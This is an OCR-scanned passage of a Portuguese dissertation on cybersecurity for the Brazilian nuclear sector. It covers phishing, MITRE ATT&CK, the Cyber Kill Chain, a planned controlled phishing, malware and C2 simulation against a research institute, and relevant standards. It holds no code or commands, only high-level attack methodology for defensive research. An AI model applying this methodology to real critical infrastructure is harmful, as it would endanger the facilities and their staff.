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4. Exploracao da falha humana
5. Exploracado dos recursos tecnolégicos

6. Concretizacao do ataque

(3) (4)

v I a
— % L
G\ ey S
(1) g(2) Daad
Spear Phishing J Email-Filtering Compromized
Email (Anti-Virus/Spam) User

Sensitive Data Proxy, DLPB, IPS/IDS Sensitive Data

(6) (5)

Figura 1: Fases de um ataque de phishing
Fonte: Site MSP3604

De acordo com a empresa Knowb4 (2023), maior plataforma de treinamento,
conscientizacdo em seguranca e simulagéo de phishing do mundo, os humanos sao
hackeados por um conjunto de fatores que dependem do contexto em que as pessoas
se encontram envolvidas e o seu estado emocional. Na maioria das vezes essas
vitimas caem em golpes pelo fato de as mensagens passarem caracteristicas de
urgéncia, medo, desespero, curiosidade, simpatia e confianca.

Dentre elas, a mais preocupante sdo aquelas mensagens que passam confiancga,
uma vez que os cibercriminosos tentam coletar o maximo de informacgdes sobre os
alvos, a fim de parecerem legitimos e convincentes (RASTENIS, 2020). No caso de
spear phishing, esses criminosos digitais criam mensagens personalizadas que
aumentam a probabilidade de engajamento e induzem os alvos a divulgarem
informagdes confidenciais, realizar acdes maliciosas ou comprometer a seguranca de
seus sistemas e redes (EFTIMIE et al., 2022).

4 Disponivel em: <https://www.msp360.com/resources/blog/types-of-phishing/>. Acesso em: 23 jun
2023
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2.3.2 Cuidados que devem ser tomados para evitar atagues de Phishing

De acordo com FAN (2017), para se proteger contra as ameacas que
envolvam a engenharia social e os ataques de phishing, € importante seguir algumas
praticas recomendadas:

o ficar atento a e-mails ou mensagens suspeitas, especialmente se solicitarem
informagdes pessoais ou financeiras,

e certificar cuidadosamente o remetente de um e-mail, procurando por erros de
ortografia ou enderecos de e-mail estranhos.

e evitar clicar em links ou baixar anexos de fontes desconhecidas ou suspeitas que
estejam inseridas no corpo desses e-mails e sempre que possivel inspecionar
as URLs antes de clicar.

¢ verificar a autenticidade de sites acessando-os diretamente pelo navegador, em
vez de clicar em links contidos nos e-mails e sempre desconfiar de paginas de
empresas conhecidas que ndo tenham um certificado digital valido para acesso
HTTPS.

e manter o software de antivirus e os sistemas operacionais atualizados, pois as
atualizacdes geralmente contém correcdes de seguranca importantes.

e utilizar autenticacdo em dois fatores sempre que possivel, para adicionar uma

camada extra de seguranca as contas online.

De acordo com Branquinho (2021), os riscos associados a engenharia social
em instalacBes criticas podem ser mitigados investindo em conscientizacdo e
treinamento dos funcionarios. A implementacdo de politicas de seguranca robustas,
adocdo de medidas de autenticacdo multifator (MFA), bem como a realizagao
constante de monitoramento e auditorias sobre atividades suspeitas fazem parte deste
escopo de medidas protetivas.

Para empresas e 6rgaos de médio e grande porte, é fundamental manter uma
estrutura centralizada de operacgdes de seguranca (SOC — Security Operation Center)
em funcionamento 24/7/365 que compreenda o ambiente de Tecnologia da
Informacéo e Tecnologia Operacional (BRANQUINHO, 2021). Também € fundamental
implementar um ambiente que seja constituido de ferramentas de gerenciamento de

eventos e informacdes de seguranca - SIEM (Security Information Events
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Management), para prover a aplicacao de politicas de seguranca de forma global em
toda a infraestrutura, compreendendo os dispositivos fisicos, canais de comunicacao,
ativos de software e condutas humanas no ambiente (PODZINS; ROMANOVS, 2019).

2.3.3 Ataques de spear phishing (phishing direcionados)

Nesta secdo, sdo apresentadas duas plataformas para identificar ataques
direcionados de phishing ocorridos em ambiente de IC (infraestruturas criticas).

Segundo o estudo de Chiew et al. (2018), o spear-phishing representa uma
ameaca crescente para os funcionarios de uma organizacao, devido a sua precisao
na selecéo de alvos. Nesse tipo de ataque, os invasores pesquisam informacdes
publicamente disponiveis sobre a empresa e perfis de redes sociais para obter
detalhes precisos sobre a vitima-alvo (KROMBHOLZ et al., 2015).

Com base nessas informacdes, o0s atacantes constroem e-mails
personalizados para ganhar a confianga das vitimas. Esses e-mails, normalmente sdo
enviados para um grupo seleto de individuos e podem conter anexos maliciosos
contendo software que permite ao atacante obter o controle remoto sobre o sistema
da vitima, como verificado no estudo de Chiew et al. (2018).

Por meio dessa exploracdo, os invasores conseguem acessar informacoes
sensiveis e a rede interna da empresa. As plataformas (RISI e HUB Tl SAFE)
disponibilizam acesso a banco de dados para pesquisar sobre incidentes cibernéticos
ocorridos em ambientes industriais no Brasil e no mundo, dentre eles podem ser
verificados alguns casos concretos de spear-phishing em cenarios reais e os efeitos
decorrentes desses ataques.

RISI Online Incidente Database

O RISI é um Repositorio de Incidentes de Seguranca Industrial (Figura 1)
disponivel para acesso no site < https://www.risidata.com/ >, pOSSuUi um
banco de dados de incidentes de natureza de ciberseguranga que afetam (ou
poderiam afetar) sistemas de controle de processos, automacao industrial ou sistemas

de controle de supervisao e aquisicao de dados (SCADA).



R RSI- The Repository of Industri= X =
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€ RISI Online Incident Database

Search for an Incident

PHISHING

Figura 2: Captura de tela do site RISIDATA
Fonte: https://www.risidata.com/, acesso em 03 jul 2023.

Tl Safe Incidente HUB

O portal da Tl Safe apresenta um banco de dados de incidentes de seguranca
cibernética industrial (Figura 3) e esta disponivel para acesso no site
< https://hub.tisafe.com/ >

@ Incident Hub - Industrial Cybers: X 4
€& > C @ hubtisafecom G B e & O :
a

Incident Hub

About Report Incident tisafe.com

Industrial Cybersecurity Incidents Database

Click on any incident to see details.

Incidents
St Eeccel MWosy 18 Copy
Show ~ entries Search:
ID ~  Date ~ Year -~  Source Data.. Attack Description ~ Country ~ Industry Type ~ T Safe
From
1)) Vear Source Datab... Attack Description Country Industry Type Tl Safe §
To
1.147 08/05/2023 2023 TI SAFE Hacker Attack Compromises Fleury Lab Network Brazil Food and Agriculture 4
1.146 27/04/2023 2023 TI SAFE Coca-Cola Femsa reports cyber security incidents in its Mexico operations Mexico Food and Agriculture 3
1145 20/04/2023 2023 TI SAFE Iranian government-backed hackers attack US power and transit systems United States Energy 4
1144 18/04/2023 2023 TI SAFE Military helicopter crash blamed on failure to apply software patch Australia Transport 4

Figura 3: Captura de tela do site Hub Tl Safe
Fonte: https://hub.tisafe.com/, acesso em 3 jul 2023.

2.3.4 Estruturacdo e compreensdo de ataques, mapeamento de defesas e

exercicio cibernético

2.3.4.1 Conceitos relacionados
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No presente momento, 0os ataques cibernéticos evoluiram em termos de suas
estratégias e alvos, sendo reconhecidos como APT (Ameacas Persistentes
Avancadas). Esse tipo de ataque utiliza técnicas de invaséo sofisticada para evitar

que seja detectado, relata Wrightson (2015). O objetivo é ter acesso a rede alvo e

permanecer nela por muito tempo pesquisando e planejando como extrair com o
maximo de informacdes do alvo. Esses ataques comumente utilizam uma combinacao

de malware, ransomware, trojans, técnicas de spoofing e estratégias de engenharia

social, visando a invasdo bem-sucedida dos sistemas (WRIGHTSON, 2015).

O Cyber Kill Chain € uma metodologia que descreve as etapas sequenciais
pelas quais um atacante cibernético geralmente passa durante um ataque. Desde o

reconhecimento inicial até a realizacdo do objetivo final (AHMED, 2021). Essa

sequéncia fornece uma visdo abrangente das atividades realizadas pelo atacante ao
longo de um ataque. Compreender essas etapas € fundamental para antecipar e
interromper as agdes maliciosas antes que elas causem danos significativos para as
organizacdes (LOCKHED MARTIN).

Ja4 o framework MITRE ATT&CK (Adversarial Tactics, Techniques, and
Common Knowledge) oferece um catalogo de taticas e técnicas usadas pelos
atacantes em cada fase do ataque. Ele fornece uma estrutura detalhada para entender
como os adversarios realizam suas atividades maliciosas, permitindo assim o

desenvolvimento de contramedidas mais eficazes.

2.3.4.2 O framework MITRE ATT&CK

O MITRE ATT&CK possui atualmente 14 taticas. As taticas representam o
porqué de uma técnica ou subtécnica ATT&CK. Representa o objetivo tatico do
adversario, ou seja, 0 motivo para realizar uma acdo. Na Tabela 3, estdo dispostas as

taticas da matriz enterprise do Mitre.
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Tabela 3:Etapas do MITRE ATT&CK

Tatica

Descricéo

Reconhecimento

Coleta de informacdes da organizacao alvo para preparar futuras

atividades adversarias

Desenvolvimento de

Aquisicdo de infraestrutura e recursos para apoiar atividades

Recursos adversarias contra a organizacao-alvo.
Acesso inicial Obter acesso inicial & rede de destino
Execucéo Técnicas para executar codigos maliciosos na rede, geralmente

para explorar ou roubar dados

Persisténcia

Manter o acesso a rede de destino ao longo do tempo
contornando medidas como alteracbes de credenciais ou

reinicializacdes que podem interromper o0 acesso

Escalacdo de privilégios

Obter permissfes de administrador ou outras permissoes de alto

nivel na rede de destino.

Evasao de defesa

Evitar a deteccdo por software de seguranca e equipes de

seguranca de TI.

Acesso a credenciais

Roubar nomes de contas e senhas, permitindo que o adversario
contorne as medidas de seguranca acessando a rede com

credenciais legitimas.

Descoberta

Explorar a rede e coletar informacdes, como quais aplicativos e
servigos estdo em execucgéo, quais contas existem, quais recursos

estdo disponiveis, etc.

Movimento Lateral

Acessar e controlar servigos remotos na rede de destino.

Coleta

Agregar dados de uma variedade de fontes na rede de destino.

Comando e Controle

Técnicas para comunicacdo com sistemas sob controle do

adverséario dentro da rede alvo.

Exfiltracao Técnicas para roubar dados da rede de destino e transferi-los para
um servidor externo controlado pelo adversario.
Impacto Técnicas para destruir dados ou interromper a disponibilidade de

aplicativos, servicos ou a propria rede de destino.




<https://attack.mitre.org> € possivel verificar a presenca das matrizes Enterprise,
Mobile e a recentemente incorporada a matriz ICS (Industrial Control System). As
técnicas do MITRE sao os blocos de construg¢do da estrutura MITRE ATT&CK. Elas
representam como um adversario atinge um objetivo tatico realizando uma acéo. No

momento deste trabalho, a estrutura contém informacgdes sobre 196 técnicas e 411

O MITRE ¢é dividido em matrizes. No site da ferramenta

subtécnicas distintas.

A Figura 4 apresenta a estrutura exemplificada de uma técnica, que inclui:

A descricao da técnica.

Lista de subtécnicas relacionadas a técnica.

Lista de métodos de mitigacdo conhecidos para a técnica.
Lista de métodos de deteccao conhecidos para a técnica.
Alguns metadados relacionados a técnica.

Referéncias e recursos adicionais relacionados a técnica.

Active Scanning

Sub-techniques (2) ~ D-T1595
Sub-technigues: T1595.001, T1595.002
Tactic: Reconnaissance
T1595.00 Scanning IP Blocks Platforms: PRE
Data Sources: Metwork device logs,
FPacket capture

Before compromising a victim, adversaries m Version: 1.0

information that can be used during targeting Created: 02 October 2020
victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not Last Maodified: 24 October 2020
involve direct interaction

ersion Permalink

ties), and/or initial

access (ex: External Remote Services

Mitigations
Mitigation Description

Pre- This technigue cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of
omise enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.

Detection

Monitor for suspicious network traffic that could be indicative of scanning, such as large guantities originating from a single scurce (especially if the source is
known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be atributed to potentially malicious activity,
such as referer or user-agent string HT TR/S fields.

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially 1aking place outside the visibility of the target
organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access

8, February 16). OAT-004 Fingerprinting. Retrieved

Figura 4: Representacdo de uma técnica encontrada no MITRE ATT&CK
Fonte: Site MITRE ATT&CK?®

5 Disponivel em: <https://attack.mitre.org/>. Acesso em: 20 jun 2023
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O framework pode ser utilizado para exemplificar, categorizar, entender e sugerir
melhorias para os eventos que envolvam incidentes cibernéticos que possam afetar
uma infraestrutura nuclear.

De modo que, quando uma atividade suspeita for detectada no ambiente, havera

a possibilidade de responder as seguintes perguntas:

1) Qual foi o objetivo geral ou objetivo (tatica) do comportamento?
2) Que método foi usado (técnica) para tentar atingir o objetivo?

Dessa forma, os profissionais de seguranca cibernética poderéo correlacionar as
atividades suspeitas com grupos de ameacas ou softwares conhecidos e identificar

formas de encerrar o ataque.

2.3.4.3 A metodologia do Cyber Kill Chain

O método Cyber Kill Chain, também conhecido como cadeia de ataque, pode
ser aplicado durante a realizacdo de testes de intrusédo (pentest). Segundo o estudo
de Ahmed (2021), ao demonstrar como possiveis atacantes se movimentam através
de redes para identificar vulnerabilidades que possam ser exploradas, € possivel
estruturar efetivamente as defesas de uma organizacéo e implementar contramedidas
adequadas em cada etapa da cadeia. Essa cadeia de ataque é composta pelas etapas

a seguir, de acordo com a Tabela 4:

Tabela 4: Descricdo das etapas do modelo Cyber Kill Chain

Etapa Nome Descricao

12 etapa Reconhecimento | Coleta e compilagdo de informacbGes. A adocdo de
praticas de higiene de seguranca cibernética é necessaria

para prevenir essa etapa.

2% etapa Armamento Fase em que o invasor cria 0 ataque, geralmente com
poucos controles de seguranga que possam impactar essa

etapa.
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32 etapa Entrega Refere-se aos vetores de ataque utilizados para entregar
cargas maliciosas. Geralmente e-mail e USB.

42 etapa Exploracéo Direcionada as vulnerabilidades de um sistema
operacional ou aplicagdo. Nessa etapa, 0 ataque €
executado, destacando a importancia de manter sistemas
atualizados e proteces ativas.

52 etapa Instalacéo Momento em que o invasor instala o malware no alvo.

62 etapa | Controle e | O invasor obtém controle manual sobre o sistema

comando comprometido.

Tdetapa | AcOes no | Com acesso e controle dentro da rede alvo, o atacante

objetivo pode executar seus objetivos, como extracdo de dados e

informacdes.

2.3.4.4 Comparativos entre os frameworks

A Tabela 5 ilustra um comparativo entre as etapas existentes nos dois frameworks.

Tabela 5: Cyber Kill Chain versus Mitre ATT&CT

CYBER KILL CHAIN

MITRE ATT&CK

Reconhecimento
Armamento

Entrega

Exploragéo
Instalacéo
Comando e controle

Acdes no objetivo

e Reconhecimento

e Desenvolvimento de Recursos
e Acesso inicial

e Execucdo

e Persisténcia

e Escalacdo de privilégios
e Evasdo de defesa

e Acesso a credenciais

e Descoberta

e Movimento Lateral

e Coleta

e Comando e Controle

e Exfiltracdo

e Impacto
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2.3.5 Exercicio Guardido Cibernético

O Exercicio Guardido Cibernético 4.0 é um evento de destaque na &rea de
defesa cibernética no hemisfério sul, organizado pelo Comando de Defesa Cibernética
do Exército. Com mais de 120 participantes de organizacdes publicas e privadas, o
exercicio ocorre em uma plataforma virtual e envolve simulacdes de crises em tempo
real. Ele inclui quatro areas principais de acdo, como Simulacdo Construtiva,
Simulacéo Virtual, Palestras de Conscientizacdo e Grupos de Estudos, juntamente
com um desafio CTF (Capture The Flag). (GSI, 2022)

Empresas renomadas, como Cisco, Claro e Kryptus, juntamente com
instituicbes como a Comissao Nacional de Energia Nuclear (CNEN), participaram do
exercicio, que teve sua sede em Brasilia e um hub adicional em Sédo Paulo. As
simulacées empregam um Simulador de Operacfes Cibernéticas e gabinetes de crise
para abordar eventos cibernéticos, exigindo acdes em niveis decisorios e técnicos

para enfrentar ameacas cibernéticas em constante evolucéo (CISO Advisor, 2022).

2.4 ETAPAS DO ATAQUE CIBERNETICO UTILIZANDO O MODELO CYBER KILL
CHAIN

Existem diversas técnicas de ataques e formas de defesa em seguranca
cibernética, conforme ja mencionado nesta pesquisa. Adicionalmente, é importante
ressaltar que este trabalho ndo se concentra apenas nas medidas ofensivas utilizadas
para mitigar ataques cibernéticos como veremos. E fundamental estarmos alinhados
sobre as Ultimas ameacas e seguir as melhores praticas de defesa cibernética para
garantir a protecdo adequada dos sistemas e dados, conforme mencionado por CHEN
et al (2014).

Considerando isso, optou-se no Capitulo 3 IMPLEMENTACAO DO ESTUDO
DE CASO, explorar a anatomia de um ataque cibernético utilizando o framework
Cyber Kill Chain (CKC) de forma simulada e em ambiente controlado.

Por meio da exploragdo da anatomia dos ataques cibernéticos, utilizando essa
metodologia, espera-se contribuir para o0 campo da seguranca cibernética.

Conforme ilustrado na Figura 5, é possivel obter uma visdo mais abrangente e
pratica que auxilie na compreensao dos ataques cibernéticos e no desenvolvimento

de estratégias eficazes de defesa.
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Cyber Kill Chain

[ Estagio: Preparagao ][ Estagio: Intrusac I Estagio: Violagao ]
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Figura 5: Estagios e etapas do Cyber Kill Chain
Fonte: Adaptada de <https://learning.oreilly.com>

A seguir, serdo destacadas as técnicas e conceitos relacionados a cada etapa

do modelo Cyber Kill Chain que seréo aplicados na execuc¢éo do estudo de caso:

1. Reconhecimento (Reconnaissance): Sera fundamentado na realizacdo de uma
pesquisa detalhada sobre o alvo, utilizando técnicas de engenharia social e coleta de
informacdes que serdo empregadas por cibercriminosos. O objetivo serd obter o
maximo de enderecos de e-mails validos da organizacdo alvo para subsidiar os

ataques simulados de phishing.

2. Armamento (Weaponization): Sera fundamentado na realizagdo de pesquisas,
testes e implementacbes de ferramentas e técnicas reais que poderdo subsidiar o
ataque simulado ao instituto de pesquisa. Essa etapa envolvera a preparacdo dos
recursos necessarios para a realizacdo das outras etapas, como software de
simulagéo, scripts, criagédo de sites, dominios e e-mails corporativos ficticios, dentre

Outros recursos.

3. Entrega (Delivery): Sera utilizada a técnica de engenharia social para validar a
acdo no alvo pretendido. Nesse cenario, serdo enviados e-mails de phishing, com o
objetivo de persuadir os funcionarios daquela instituicdo para interagirem com o
conteudo e links disponibilizados no e-mail. Essa etapa, no presente estudo,

possibilitara avaliar a capacidade de discernimento do fator humano em relacdo a
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engenharia social, bem como a eficacia das medidas de seguranca cibernética

implementadas no instituto de pesquisa testado (YADAV; RAO, 2015).

4. Exploracao (Exploitation): Ser4 fundamentado na realizacéo de investigagbes em
busca de informacfes que serdo Uteis para a exploracéo de vulnerabilidades técnicas
na infraestrutura alvo, com base nas tecnologias identificadas nesta etapa. Isso
envolvera a andlise dos sistemas operacionais, das redes e dos servicos em busca
de possiveis brechas de seguranca que poderdo ser exploradas (YADAV; RAO,
2015). Um dos objetivos dessa fase sera explorar no instituto alvo as estratégias para
contornar as defesas existentes, como firewalls, antivirus e politicas de seguranca
(MITRE, 2018). Um ataque simulado desse tipo buscara encontrar vulnerabilidades
nos sistemas, utilizar técnicas de engenharia social e aproveitar-se de falhas na

configuracdo para prosseguir para a proOxima etapa: instalacdo do malware.

5. Instalacdo (Installation): Essa etapa envolvera a busca de meios para realizacéo
da instalagdo de um agente (malware simulado) nos computadores das “vitimas”
(funcionérios do instituto). De forma analoga, terd o objetivo de (1) identificar quais
medidas protetivas estdo sendo implementadas na organizacdo para prevenir a
instalacdo de softwares maliciosos e (2) identificar se existem vulnerabilidades e
fraquezas presentes naquela infraestrutura que permitam a execuc¢ao desses codigos.
O objetivo principal dessa etapa sera estabelecer uma presenca persistente nos alvos
comprometidos, permitindo aos invasores manterem o acesso e realizarem atividades
fraudulentas sem serem detectados (YADAV; RAO, 2015).

6. Comando e Controle (Command and Control): Apés a etapa de instalacédo, a
fase de comando e controle tera o objetivo de implementar um servidor C2 (Command
and Control) com a finalidade de estabelecer uma comunicacdo segura e oculta entre
0s agentes maliciosos instalados nos computadores das vitimas e do invasor (YADAV;
RAO, 2015). O servidor de comando e controle que serd implementado para esta
atividade desempenhara um papel importante como uma central de comando,
permitindo a realizagdo de comandos simulados e a¢cdes que evidenciardo como 0s
invasores gerenciam e controlam as atividades dos agentes maliciosos de forma
remota (CHEN et al., 2014).
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Através dessa comunicacdo, 0s invasores terdo a capacidade de enviar
comandos, receber informacdes e coletar dados dos sistemas comprometidos
(MITRE, 2018). Essa técnica sera ilustrada no Capitulo 3. E necessario enfatizar que
o modelo de C2 adotado nesta dissertacdo sera desenvolvido com base no comando
e controle construido durante o treinamento de Evasédo de Defesas fornecido pela
empresa de tecnologia DESEC Information Security (DESEC, 2023).

7. Acdes no objetivo: Essa fase consistird na realizacéo simulada da coleta de dados
e informacdes sensiveis durante um ataque, bem como na verificacdo de
vulnerabilidades em um sistema de simulacdo, além do processo de exfiltracdo
desses dados conduzidos pelos adversarios (YADAV; RAO, 2015). Durante o ataque
cibernético, o atacante podera explorar sistemas operacionais Windows e Linux. Em
ambientes controlados e de testes, poderdo ser realizados os procedimentos que um
atacante real faria em uma infraestrutura critica caso conseguisse consolidar todas as
fases anteriores deste ataque.

O teste para essa etapa buscard, de forma ética, extrair informacdes valiosas,
como dados pessoais, credenciais de acesso, vulnerabilidades em sistemas,
propriedade intelectual e outras informacdes estratégicas (ASSANT; LEE, 2015). ApoGs
a coleta desses dados, os adversarios tentardo realizar o processo de exfiltracao, que
consistira na transferéncia dos dados comprometidos de volta para sua infraestrutura
de controle (ASSANT; LEE, 2015). Eles utilizarao técnicas de ocultacdo e criptografia
para evitar deteccdo durante a transferéncia, garantindo que as informacdes sejam
transmitidas com seguranca e sem levantar suspeitas (TARNOWSKI, 2017).

Por fim, de acordo com Tarnowski (2017), é importante destacar que o modelo
Cyber Kill Chain fornecera uma estrutura para entender e prevenir intrusées em redes
e sistemas. As etapas descritas, desde o reconhecimento até as acdes no objetivo,
representardo o processo pelo qual os adversarios costumam passar para atingir seus
objetivos maliciosos (YADAV; RAO, 2015).
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2.5 NORMAS E REGULACOES APLICAVEIS AO SETOR NUCLEAR

Durante o desenvolvimento desta dissertacdo, a norma CNEN NN 2.07
("Segurancga Cibernética de Instalacées Nucleares”) encontrava-se em processo
de criacdo. Atualmente, o setor nuclear brasileiro apresenta uma lacuna regulatéria,
uma vez que ainda nao foi publicado um instrumento normativo que exija dos
operadores nucleares a responsabilidade de garantir a seguranca cibernética de seus
recursos tecnoldgicos.

Em um contexto internacional existem normas, regulamentacbes e
recomendacdes de grande importancia que podem ser adaptadas para atender as
necessidades especificas do setor nuclear brasileiro. Além disso, no Brasil existem
leis e normativos técnicos que tratam do assunto seguranca cibernética (ABNT NBR).
A seguir, sdo destacadas algumas referéncias relacionadas ao tema, porém néo se

limitam ao conteldo abordado nesta secéo:

2.4.1 Normas, regulamentacdes, recomendacdes e 6rgaos internacionais

IAEA N° 42

A norma IAEA No. 42 é uma diretriz publicada pela Agéncia Internacional de
Energia Atbmica (IAEA) que trata da seguranca cibernética em instalacdes nucleares.
O documento aborda questdes como identificacdo e avaliagdo de vulnerabilidades,
implementacdo de medidas de protecao cibernética, resposta a incidentes e gestéo
de riscos relacionados a seguranca cibernética. Seu objetivo é promover a seguranca

dos sistemas nucleares diante das ameacas cibernéticas.

IAEA N° 17-T (Rev. 1)

O objetivo desta publicacéo, segundo informacdes contidas na documentagéo,
é auxiliar os Estados Membros na implementacdo da seguranga cibernética em
instalacdes nucleares, visando prevenir e proteger contra a remog¢ao néo autorizada
de material nuclear, sabotagem de instalacbes nucleares e acesso nao autorizado a
informacdes nucleares sensiveis. Esta publicacdo aborda a seguranca cibernética
para atividades e organizacdes de apoio, como fornecedores e empreiteiros. Embora

o foco desta publicacdo seja a seguranca das instalacdes nucleares, a aplicacao
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destas orientac6es também pode beneficiar a seguranca e o desempenho operacional

das instalagdes.

NRC RG 5.71

O NRC Regulatory Guide 5.71 € um documento regulatério publicado em 2010,
pela Comissdo Reguladora Nuclear dos Estados Unidos (NRC) que fornece
orientacdes sobre programas de seguranca cibernética para usinas nucleares. Este
guia (RG 5.71) descreve os requisitos regulatérios e as préaticas recomendadas para
estabelecer e manter medidas eficazes de seguranca cibernética para proteger ativos
e sistemas digitais criticos em usinas nucleares. O objetivo do NRC Regulatory Guide
5.71, segundo informacdes contidas na documentagéo, € auxiliar os operadores de
usinas nucleares a desenvolverem programas robustos de seguranca cibernética que
abordam os riscos e desafios Unicos associados a infraestrutura digital das instalacées

nucleares.

NIST 800-82 Ver2

A norma NIST SP 800-82 é uma publicacdo do Instituto Nacional de Padrbes e
Tecnologia dos Estados Unidos (NIST) que trata da seguranca cibernética de
sistemas industriais de controle. De acordo com a NIST 800-82 v2, o objetivo é
fornecer diretrizes e recomendacdes para proteger os sistemas de controle utilizados
em infraestruturas criticas, como redes elétricas, sistemas de &agua, transporte e
manufatura, contra ameacas cibernéticas. Ela aborda areas como a segmentacéao de
redes, autenticacdo e controle de acesso, monitoramento de sistemas, deteccéo e
resposta a incidentes, e gestdo de mudancas. O objetivo da norma NIST SP 800-82,
conforme descrito na documentacdo, € melhorar a seguranca dos sistemas de
controle industrial, reduzindo os riscos de ataques cibernéticos e minimizando o

impacto desses ataques nas operagdes criticas.

ISA/IEC 62443

A norma ISA/IEC 62443 € uma série de normas internacionais desenvolvida
pela Sociedade Internacional de Automacdo (ISA) e pela Comissédo Eletrotécnica
Internacional (IEC) que aborda a seguranca cibernética de sistemas de automacéo e
controle industrial. O objetivo dessas normas, conforme descrito na documentacao, é

fornecer um framework abrangente para a implementacdo de medidas de segurancga
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cibernética em sistemas de automacéao industrial, contribuindo para a protecédo das

infraestruturas criticas e a continuidade das operacdes industriais.

2.4.2 Legislacdes e normas brasileiras

Decreto N° 10.748/2021 (Rede Federal De Gestéo De Incidentes Cibernéticos)

O Decreto N° 10.748, de 16 de julho de 2021, institui a Rede Federal de Gestéo
de Incidentes Cibernéticos no Brasil. Esta rede € composta por 0rgaos
governamentais da administracdo publica federal direta, autarquica e fundacional,
bem como por empresas publicas e sociedades de economia mista que optarem por
aderir a ela (BRASIL, 2021).

O objetivo principal da Rede Federal de Gestdo de Incidentes Cibernéticos,
segundo o Decreto N° 10.74, é melhorar a coordenacdo entre esses 6rgdos e
entidades para prevenir, tratar e responder a incidentes cibernéticos, aumentando a
resiliéncia da segurancga cibernética de seus ativos de informacao. Para alcancar esse
propoésito, a rede visa divulgar medidas de prevencdo, compartilhar alertas sobre
ameacas cibernéticas, promover a cooperacdo entre os participantes e agilizar as
respostas a incidentes cibernéticos (BRASIL, 2021).

Conforme descrito no Decreto N° 10.748, o Gabinete de Seguranca
Institucional da Presidéncia da Republica (GSI) é o responsavel por coordenar essa
rede, convocando reunifes em casos de incidentes cibernéticos graves ou alto risco
cibernético. Outros 6rgdos, como agéncias reguladoras e a Comissdo Nacional de

Energia Nuclear (CNEN), possuem funcdes especificas na rede (BRASIL, 2021).

As normas ABNT NBR ISO/IEC 27000 referem-se a uma série de normas
brasileiras que adotam e adaptam as normas internacionais ISO/IEC 27000
relacionadas a seguranca da informagcdo. Embora as normas ABNT NBR ISO/IEC
27000 sejam amplamente baseadas nas normas internacionais ISO/IEC, elas podem
conter modificacdes e adicOes especificas para se adequar ao cenario brasileiro de
seguranca cibernética. A seguir, destacamos algumas das principais normas e
legislacdes brasileiras que podem ser utilizadas no setor nuclear brasileiro, conforme

a necessidade:
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ABNT NBR ISO/IEC 27001:2022 - Seguranca da informacao, seguranca cibernética
e protecdo a privacidade — Sistema de gestdo de seguranca da informacdo —
Requisitos

A norma 27001 foi elaborada para prover os requisitos para estabelecer,
implementar, manter e melhorar um sistema de gestdo de seguranca da informacéo.
De acordo com a norma 27001, sdo incluidos os requisitos para avaliar e tratar os
riscos de seguranca da informacao voltados para as necessidades da organizagéo.
Em seu Anexo A sédo encontrados os controles de seguranga da informacao, dentre
eles: controles organizacionais, controle de pessoas, controles fisicos e controles

tecnoldgicos.

ABNT NBR ISO/IEC 27002:2022 - Seguranca da informacao, seguranca cibernética
e protecdo a privacidade — Controles de seguranca da informacéo.

A norma ABNT 27002 foi projetada para organizacdes de qualquer tamanho,
podendo ser utilizado como referéncia para determinar e implementar controles para
tratamento de riscos de segurancga da informacao em um SGSI (Sistema de Gestéo
de Seguranca da Informac&o) com base na ABNT NBR ISO/IEC 27001. De acordo
com a norma 27002, é destinada a ser utilizada no desenvolvimento de diretrizes de
gestdo de seguranca da informacao especificas para a industria e a organizacao, a

considerar o seu ambiente especifico de riscos de seguranca da informacéo.

ABNT NBR ISO/IEC 27701:2019 — Técnicas de seguranca — Extensdo da ABNT NBR
ISO/IEC 27001 e ABNT NBR ISO/IEC 27002 para gestdo da privacidade de
informacgao — Requisitos e diretrizes

A norma ABNT 27701 especifica os requisitos e as diretrizes para o
estabelecimento, implementacdo e melhoria continua de um Sistema de Gestao de
Privacidade da Informacgé&o (SGPI). De acordo com a referida norma 27701, € aplicavel
a todos os tipo e tamanhos de organizacgdes, incluindo as companhias publicas e
privadas, entidades governamentais e organizacdes sem fins lucrativos, que sao

controladoras de dados pessoais (DP) ou que sédo operadoras desses dados.

ABNT NBR ISO/IEC 27032:2015 — Tecnologia da Informacdo — Técnicas de

seguranca — Diretrizes para segurancga cibernética
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A norma ABNT 27032 fornece diretrizes para melhorar a estado de Seguranca
Cibernética, delineando os pontos tipicos e outros dominios como seguranca de rede,
seguranca de Internet e protecdo da infraestrutura critica de informacao (CIIP — Critical
Information Infrastructure Protection). A norma ABNT 27032 descreve que a falta de
Seguranca Cibernética pode causar um impacto negativo sobre a disponibilidade de
sistemas criticos de infraestrutura de informacao, proporcionados pelos fornecedores
de infraestruturas criticas. A norma ainda cita que o conhecimento das fraquezas de
infraestruturas criticas, caso ndo seja usado corretamente, pode haver uma

implicacdo direta na segurancga nacional.

ABNT NBR ISO/IEC 27037:2014 - Tecnologia da informacdo — Técnicas de
seguranca — Diretrizes para identificagdo, coleta, aquisicdo e preservagao de
evidéncia digital.

Essa norma esta relacionada com as atividades relacionadas as evidéncias
digitais que sdo a identificagédo, coleta, aquisicdo e preservacao de evidéncia digital
que possuam um valor de prova, que possam servir de evidéncias digitais em
investigacoes forenses. De acordo com a norma 27037, € uma referéncia importante
para profissionais de seguranca da informacéo, investigadores forenses e outras
partes envolvidas em atividades de resposta a incidentes e investigacdes relacionadas

a evidéncias digitais.

ABNT NBR ISO/OEC 27035-3:2021 — Tecnologia da informacdo - Gestdo de
incidentes de seguranca da informacéo Parte 3: Diretrizes para operacfes de resposta
a incidentes de TIC
A norma 27035-3 aponta as principais fases para realizacao da gestédo de incidentes
de seguranca da informacao que consistem em:

e Planejamento e preparagao

e Deteccao e geracdo de relatorios

e Avaliacdo e decisao

e Respostas

e LicOes aprendidas

As fases do processo de operacdo e resposta a incidentes, segundo a ABNT

27035-3, sdo compostas por operacdes para identificacdo de incidentes, avaliacéo e
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qualificacéo de incidentes, coleta de inteligéncia de ameacas, contencao, erradicacao
e recuperacado de incidentes, analise de incidentes e operacdes para geracao de
relatérios.

De acordo ainda com a ABNT 27035-3, os eventos de seguranca cibernética
podem ser detectados internamente por pessoas ou por meio tecnoldgicos, ou ainda,
através de relatos de fontes externas. Desse modo, a classificacdo desses eventos

pode advir dos meios técnicos, de pessoas e de organizagoes.

